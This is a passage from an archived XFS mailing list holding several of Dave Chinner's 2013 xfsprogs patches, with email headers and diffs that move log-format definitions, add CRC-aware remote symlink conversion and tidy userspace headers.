tmp_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); tmp_sfep = (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + tmp_elen); @@ -2446,8 +2446,8 @@ do_junkit: next_sfep = (tmp_sfep == NULL) ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep + ((!bad_sfnamelen) - ? xfs_dir2_sf_entsize(sfp, sfep->namelen) - : xfs_dir2_sf_entsize(sfp, namelen))) + ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) + : xfs_dir3_sf_entsize(mp, sfp, namelen))) : tmp_sfep; } @@ -2458,7 +2458,7 @@ do_junkit: } else { if (i8 == 0) { tmp_sfep = next_sfep; - process_sf_dir2_fixi8(sfp, &tmp_sfep); + process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); bytes_deleted += (__psint_t)next_sfep - (__psint_t)tmp_sfep; -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9EC768096 for ; Fri, 19 Jul 2013 01:45:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 80F6230404E for ; Thu, 18 Jul 2013 23:45:52 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed669000b-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id oMMjGE79QE9CFSJV for ; Thu, 18 Jul 2013 23:45:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKFIAOUBo15hyuBWYFLKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004Ih-Vf for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Kj-Uj for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 21/49] xfs: separate icreate log format definitions from xfs_icreate_item.h Date: Fri, 19 Jul 2013 16:44:56 +1000 X-ASG-Orig-Subj: [PATCH 21/49] xfs: separate icreate log format definitions from xfs_icreate_item.h Message-Id: <1374216324-8781-22-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216350 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on disk log format definitions for the icreate log item are intertwined with the kernel-only in-memory log item definitions. Separate the log format definitions out into their own header file so they can easily be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 1 - include/libxfs.h | 1 - include/libxlog.h | 1 - include/xfs_icreate_item.h | 55 ---------------------------------------------- include/xfs_log_format.h | 18 +++++++++++++++ 5 files changed, 18 insertions(+), 58 deletions(-) delete mode 100644 include/xfs_icreate_item.h diff --git a/include/Makefile b/include/Makefile index 8f738a8..ab71aad 100644 --- a/include/Makefile +++ b/include/Makefile @@ -30,7 +30,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ - xfs_icreate_item.h \ xfs_inode.h \ xfs_inum.h \ xfs_log_format.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 646ca79..bc90082 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -59,7 +59,6 @@ #include #include #include -#include #ifndef ARRAY_SIZE diff --git a/include/libxlog.h b/include/libxlog.h index ee23212..e65b607 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -48,7 +48,6 @@ struct xlog { }; #include -#include /* * macros mapping kernel code to user code diff --git a/include/xfs_icreate_item.h b/include/xfs_icreate_item.h deleted file mode 100644 index 70dc03c..0000000 --- a/include/xfs_icreate_item.h +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (c) 2008-2010, Dave Chinner - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef XFS_ICREATE_ITEM_H -#define XFS_ICREATE_ITEM_H 1 - -/* - * on disk log item structure - * - * Log recovery assumes the first two entries are the type and size and they fit - * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so - * decoding can be done correctly. - */ -struct xfs_icreate_log { - __uint16_t icl_type; /* type of log format structure */ - __uint16_t icl_size; /* size of log format structure */ - __be32 icl_ag; /* ag being allocated in */ - __be32 icl_agbno; /* start block of inode range */ - __be32 icl_count; /* number of inodes to initialise */ - __be32 icl_isize; /* size of inodes */ - __be32 icl_length; /* length of extent to initialise */ - __be32 icl_gen; /* inode generation number to use */ -}; - -#ifdef __KERNEL__ - -/* in memory log item structure */ -struct xfs_icreate_item { - struct xfs_log_item ic_item; - struct xfs_icreate_log ic_format; -}; - -extern kmem_zone_t *xfs_icreate_zone; /* inode create item zone */ - -void xfs_icreate_log(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t agbno, unsigned int count, - unsigned int inode_size, xfs_agblock_t length, - unsigned int generation); -#endif /* __KERNEL__ */ - -#endif /* XFS_ICREATE_ITEM_H */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 5963ec7..02639c7 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -602,4 +602,22 @@ typedef struct xfs_qoff_logformat { #define XFS_ALL_QUOTA_CHKD \ (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) +/* + * Inode create log item structure + * + * Log recovery assumes the first two entries are the type and size and they fit + * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so + * decoding can be done correctly. + */ +struct xfs_icreate_log { + __uint16_t icl_type; /* type of log format structure */ + __uint16_t icl_size; /* size of log format structure */ + __be32 icl_ag; /* ag being allocated in */ + __be32 icl_agbno; /* start block of inode range */ + __be32 icl_count; /* number of inodes to initialise */ + __be32 icl_isize; /* size of inodes */ + __be32 icl_length; /* length of extent to initialise */ + __be32 icl_gen; /* inode generation number to use */ +}; + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9185B8050 for ; Fri, 19 Jul 2013 01:45:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 691A6304039 for ; Thu, 18 Jul 2013 23:45:55 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed669000d-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id I7U6aYyqNeeKEdCj for ; Thu, 18 Jul 2013 23:45:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45ygTqDZgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IV-Rk for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002KF-Qo for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 15/49] libxfs: local to remote format support of remote symlinks Date: Fri, 19 Jul 2013 16:44:50 +1000 X-ASG-Orig-Subj: [PATCH 15/49] libxfs: local to remote format support of remote symlinks Message-Id: <1374216324-8781-16-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216353 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner This conversion was overlooked earlier on. Now that the differences between userspace and kernel space are getting smaller this bug is obvious. Fix it. Signed-off-by: Dave Chinner --- include/xfs_symlink.h | 2 ++ libxfs/xfs_bmap.c | 12 ------------ libxfs/xfs_symlink.c | 29 +++++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 12 deletions(-) diff --git a/include/xfs_symlink.h b/include/xfs_symlink.h index 55f3f2d..e85dfd1 100644 --- a/include/xfs_symlink.h +++ b/include/xfs_symlink.h @@ -31,6 +31,8 @@ struct xfs_dsymlink_hdr { int xfs_symlink_blocks(struct xfs_mount *mp, int pathlen); bool xfs_symlink_hdr_ok(struct xfs_mount *mp, xfs_ino_t ino, uint32_t offset, uint32_t size, struct xfs_buf *bp); +void xfs_symlink_local_to_remote(struct xfs_trans *tp, struct xfs_buf *bp, + struct xfs_inode *ip, struct xfs_ifork *ifp); extern const struct xfs_buf_ops xfs_symlink_buf_ops; diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 5234674..ce72b87 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -1221,18 +1221,6 @@ xfs_bmap_add_attrfork_extents( return error; } -STATIC void -xfs_symlink_local_to_remote( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - /* remote symlink blocks are not verifiable until CRCs come along */ - bp->b_ops = NULL; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); -} - /* * Called from xfs_bmap_add_attrfork to handle local format files. Each * different data fork content type needs a different callout to do the diff --git a/libxfs/xfs_symlink.c b/libxfs/xfs_symlink.c index 860b123..f2e69f9 100644 --- a/libxfs/xfs_symlink.c +++ b/libxfs/xfs_symlink.c @@ -145,3 +145,32 @@ const struct xfs_buf_ops xfs_symlink_buf_ops = { .verify_write = xfs_symlink_write_verify, }; +void +xfs_symlink_local_to_remote( + struct xfs_trans *tp, + struct xfs_buf *bp, + struct xfs_inode *ip, + struct xfs_ifork *ifp) +{ + struct xfs_mount *mp = ip->i_mount; + char *buf; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) { + bp->b_ops = NULL; + memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); + return; + } + + /* + * As this symlink fits in an inode literal area, it must also fit in + * the smallest buffer the filesystem supports. + */ + ASSERT(BBTOB(bp->b_length) >= + ifp->if_bytes + sizeof(struct xfs_dsymlink_hdr)); + + bp->b_ops = &xfs_symlink_buf_ops; + + buf = bp->b_addr; + buf += xfs_symlink_hdr_set(mp, ip->i_ino, 0, ifp->if_bytes, bp); + memcpy(buf, ifp->if_u1.if_data, ifp->if_bytes); +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 31FD680A5 for ; Fri, 19 Jul 2013 01:45:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 148ED304039 for ; Thu, 18 Jul 2013 23:45:54 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d54000f-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id jiGN7eeQoXbqlhz8 for ; Thu, 18 Jul 2013 23:45:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45fE4UgA6kqgyQqgS0 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JG-8F for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Lh-7C for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 33/49] xfsprogs: sync minor kernel header differences Date: Fri, 19 Jul 2013 16:45:08 +1000 X-ASG-Orig-Subj: [PATCH 33/49] xfsprogs: sync minor kernel header differences Message-Id: <1374216324-8781-34-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216350 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are lots of little differences between kernel and userspace headers noticable now that the files are largely the same. Clean up all the formatting, whitespace and other minor differences in the userspace headers. Signed-off-by: Dave Chinner --- include/libxfs.h | 8 +++++--- include/xfs_ag.h | 2 +- include/xfs_alloc_btree.h | 3 +-- include/xfs_attr_remote.h | 28 +++++++++++----------------- include/xfs_bmap_btree.h | 3 +-- include/xfs_btree.h | 3 +-- include/xfs_dinode.h | 3 --- include/xfs_dir2.h | 11 +---------- include/xfs_dir2_format.h | 22 ++++++++++++++-------- include/xfs_fs.h | 26 +++++++++++++++----------- include/xfs_ialloc_btree.h | 3 +-- include/xfs_inode_buf.h | 1 - include/xfs_trans.h | 8 +++----- libxfs/xfs.h | 2 ++ 14 files changed, 56 insertions(+), 67 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index b4d2657..d3b3f02 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -46,7 +46,6 @@ #include #include #include -#include #include #include #include @@ -235,6 +234,11 @@ extern xfs_mount_t *libxfs_mount (xfs_mount_t *, xfs_sb_t *, extern void libxfs_umount (xfs_mount_t *); extern void libxfs_rtmount_destroy (xfs_mount_t *); +/* + * xfs/xfs_dir2_format.h needs struct xfs_mount to be defined + */ +#include +#include /* * Simple I/O interface @@ -610,8 +614,6 @@ extern int libxfs_iget (xfs_mount_t *, xfs_trans_t *, xfs_ino_t, uint, xfs_inode_t **, xfs_daddr_t); extern void libxfs_iput (xfs_inode_t *, uint); -#include - /* Shared utility routines */ extern unsigned int libxfs_log2_roundup(unsigned int i); diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 1e0fa34..317aa86 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -102,7 +102,7 @@ typedef struct xfs_agf { #define XFS_AGF_LONGEST 0x00000400 #define XFS_AGF_BTREEBLKS 0x00000800 #define XFS_AGF_UUID 0x00001000 -#define XFS_AGF_NUM_BITS 12 +#define XFS_AGF_NUM_BITS 13 #define XFS_AGF_ALL_BITS ((1 << XFS_AGF_NUM_BITS) - 1) #define XFS_AGF_FLAGS \ diff --git a/include/xfs_alloc_btree.h b/include/xfs_alloc_btree.h index e160339..e3a3f74 100644 --- a/include/xfs_alloc_btree.h +++ b/include/xfs_alloc_btree.h @@ -64,8 +64,7 @@ typedef __be32 xfs_alloc_ptr_t; */ #define XFS_ALLOC_BLOCK_LEN(mp) \ (xfs_sb_version_hascrc(&((mp)->m_sb)) ? \ - XFS_BTREE_SBLOCK_CRC_LEN : \ - XFS_BTREE_SBLOCK_LEN) + XFS_BTREE_SBLOCK_CRC_LEN : XFS_BTREE_SBLOCK_LEN) /* * Record, key, and pointer address macros for btree blocks. diff --git a/include/xfs_attr_remote.h b/include/xfs_attr_remote.h index d087305..92a8fd7 100644 --- a/include/xfs_attr_remote.h +++ b/include/xfs_attr_remote.h @@ -1,25 +1,19 @@ /* * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2.1 of the GNU Lesser General Public License - * as published by the Free Software Foundation. + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU Lesser General Public - * License along with this program; if not, write the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, - * USA. + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef __XFS_ATTR_REMOTE_H__ #define __XFS_ATTR_REMOTE_H__ diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index f1069bb..1b726d6 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -140,8 +140,7 @@ typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; */ #define XFS_BMBT_BLOCK_LEN(mp) \ (xfs_sb_version_hascrc(&((mp)->m_sb)) ? \ - XFS_BTREE_LBLOCK_CRC_LEN : \ - XFS_BTREE_LBLOCK_LEN) + XFS_BTREE_LBLOCK_CRC_LEN : XFS_BTREE_LBLOCK_LEN) #define XFS_BMBT_REC_ADDR(mp, block, index) \ ((xfs_bmbt_rec_t *) \ diff --git a/include/xfs_btree.h b/include/xfs_btree.h index c0acbbf..b55af99 100644 --- a/include/xfs_btree.h +++ b/include/xfs_btree.h @@ -93,7 +93,6 @@ struct xfs_btree_block { #define XFS_BTREE_LBLOCK_CRC_OFF \ offsetof(struct xfs_btree_block, bb_u.l.bb_crc) - /* * Generic key, ptr and record wrapper structures. * @@ -214,7 +213,7 @@ struct xfs_btree_ops { const struct xfs_buf_ops *buf_ops; -#ifdef DEBUG +#if defined(DEBUG) || defined(XFS_WARN) /* check that k1 is lower than k2 */ int (*keys_inorder)(struct xfs_btree_cur *cur, union xfs_btree_key *k1, diff --git a/include/xfs_dinode.h b/include/xfs_dinode.h index f7a0e95..07d735a 100644 --- a/include/xfs_dinode.h +++ b/include/xfs_dinode.h @@ -132,9 +132,6 @@ typedef enum xfs_dinode_fmt { #define XFS_LITINO(mp, version) \ ((int)(((mp)->m_sb.sb_inodesize) - xfs_dinode_size(version))) -#define XFS_BROOT_SIZE_ADJ(ip) \ - (XFS_BMBT_BLOCK_LEN((ip)->i_mount) - sizeof(xfs_bmdr_block_t)) - /* * Inode data & attribute fork sizes, per inode. */ diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 75e8596..7fe2b8f 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -28,14 +28,6 @@ struct xfs_dir2_sf_entry; struct xfs_dir2_data_hdr; struct xfs_dir2_data_entry; struct xfs_dir2_data_unused; -struct xfs_dir2_data_free; - -typedef uint xfs_dir2_data_aoff_t; /* argument form */ - -/* - * Directory block number (logical dirblk in file) - */ -typedef __uint32_t xfs_dir2_db_t; extern struct xfs_name xfs_name_dotdot; @@ -71,7 +63,7 @@ extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); /* - * used by db + * Interface routines used by userspace utilities */ extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, @@ -110,5 +102,4 @@ extern const struct xfs_buf_ops xfs_dir3_leaf1_buf_ops; extern const struct xfs_buf_ops xfs_dir3_free_buf_ops; extern const struct xfs_buf_ops xfs_dir3_data_buf_ops; - #endif /* __XFS_DIR2_H__ */ diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 4126e86..2095e17 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -73,6 +73,7 @@ */ typedef __uint16_t xfs_dir2_data_off_t; #define NULLDATAOFF 0xffffU +typedef uint xfs_dir2_data_aoff_t; /* argument form */ /* * Normalized offset (in a data block) of the entry, really xfs_dir2_data_off_t. @@ -93,6 +94,11 @@ typedef __uint32_t xfs_dir2_dataptr_t; typedef xfs_off_t xfs_dir2_off_t; /* + * Directory block number (logical dirblk in file) + */ +typedef __uint32_t xfs_dir2_db_t; + +/* * Inode number stored as 8 8-bit values. */ typedef struct { __uint8_t i[8]; } xfs_dir2_ino8_t; @@ -144,19 +150,19 @@ static inline int xfs_dir2_sf_hdr_size(int i8count) (sizeof(xfs_dir2_ino8_t) - sizeof(xfs_dir2_ino4_t)); } - static inline xfs_dir2_data_aoff_t +static inline xfs_dir2_data_aoff_t xfs_dir2_sf_get_offset(xfs_dir2_sf_entry_t *sfep) { return get_unaligned_be16(&sfep->offset.i); } - static inline void +static inline void xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) { put_unaligned_be16(off, &sfep->offset.i); } - static inline int +static inline int xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) { return sizeof(struct xfs_dir2_sf_entry) + /* namelen + offset */ @@ -166,14 +172,14 @@ xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) sizeof(xfs_dir2_ino4_t)); } - static inline struct xfs_dir2_sf_entry * +static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) { return (struct xfs_dir2_sf_entry *) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } - static inline struct xfs_dir2_sf_entry * +static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_nextentry(struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep) { @@ -238,7 +244,7 @@ typedef struct xfs_dir2_data_free { */ typedef struct xfs_dir2_data_hdr { __be32 magic; /* XFS_DIR2_DATA_MAGIC or */ - /* XFS_DIR2_BLOCK_MAGIC */ + /* XFS_DIR2_BLOCK_MAGIC */ xfs_dir2_data_free_t bestfree[XFS_DIR2_DATA_FD_COUNT]; } xfs_dir2_data_hdr_t; @@ -265,7 +271,7 @@ struct xfs_dir3_data_hdr { #define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) - static inline struct xfs_dir2_data_free * +static inline struct xfs_dir2_data_free * xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) { if (hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -514,7 +520,7 @@ struct xfs_dir3_leaf { #define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); + struct xfs_dir2_leaf *from); static inline int xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) diff --git a/include/xfs_fs.h b/include/xfs_fs.h index 44b69e7..68c2e18 100644 --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -311,6 +311,17 @@ typedef struct xfs_bstat { } xfs_bstat_t; /* + * Project quota id helpers (previously projid was 16bit only + * and using two 16bit values to hold new 32bit projid was choosen + * to retain compatibility with "old" filesystems). + */ +static inline __uint32_t +bstat_get_projid(struct xfs_bstat *bs) +{ + return (__uint32_t)bs->bs_projid_hi << 16 | bs->bs_projid_lo; +} + +/* * The user-level BulkStat Request interface structure. */ typedef struct xfs_fsop_bulkreq { @@ -511,10 +522,14 @@ typedef struct xfs_handle { #define XFS_IOC_ERROR_INJECTION _IOW ('X', 116, struct xfs_error_injection) #define XFS_IOC_ERROR_CLEARALL _IOW ('X', 117, struct xfs_error_injection) /* XFS_IOC_ATTRCTL_BY_HANDLE -- deprecated 118 */ + /* XFS_IOC_FREEZE -- FIFREEZE 119 */ /* XFS_IOC_THAW -- FITHAW 120 */ +#ifndef FIFREEZE #define XFS_IOC_FREEZE _IOWR('X', 119, int) #define XFS_IOC_THAW _IOWR('X', 120, int) +#endif + #define XFS_IOC_FSSETDM_BY_HANDLE _IOW ('X', 121, struct xfs_fsop_setdm_handlereq) #define XFS_IOC_ATTRLIST_BY_HANDLE _IOW ('X', 122, struct xfs_fsop_attrlist_handlereq) #define XFS_IOC_ATTRMULTI_BY_HANDLE _IOW ('X', 123, struct xfs_fsop_attrmulti_handlereq) @@ -537,15 +552,4 @@ typedef struct xfs_handle { #define BBTOB(bbs) ((bbs) << BBSHIFT) #endif -/* - * Project quota id helpers (previously projid was 16bit only - * and using two 16bit values to hold new 32bit projid was choosen - * to retain compatibility with "old" filesystems). - */ -static inline __uint32_t -bstat_get_projid(struct xfs_bstat *bs) -{ - return (__uint32_t)bs->bs_projid_hi << 16 | bs->bs_projid_lo; -} - #endif /* __XFS_FS_H__ */ diff --git a/include/xfs_ialloc_btree.h b/include/xfs_ialloc_btree.h index 7f5ae6b..3ac36b7 100644 --- a/include/xfs_ialloc_btree.h +++ b/include/xfs_ialloc_btree.h @@ -80,8 +80,7 @@ typedef __be32 xfs_inobt_ptr_t; */ #define XFS_INOBT_BLOCK_LEN(mp) \ (xfs_sb_version_hascrc(&((mp)->m_sb)) ? \ - XFS_BTREE_SBLOCK_CRC_LEN : \ - XFS_BTREE_SBLOCK_LEN) + XFS_BTREE_SBLOCK_CRC_LEN : XFS_BTREE_SBLOCK_LEN) /* * Record, key, and pointer address macros for btree blocks. diff --git 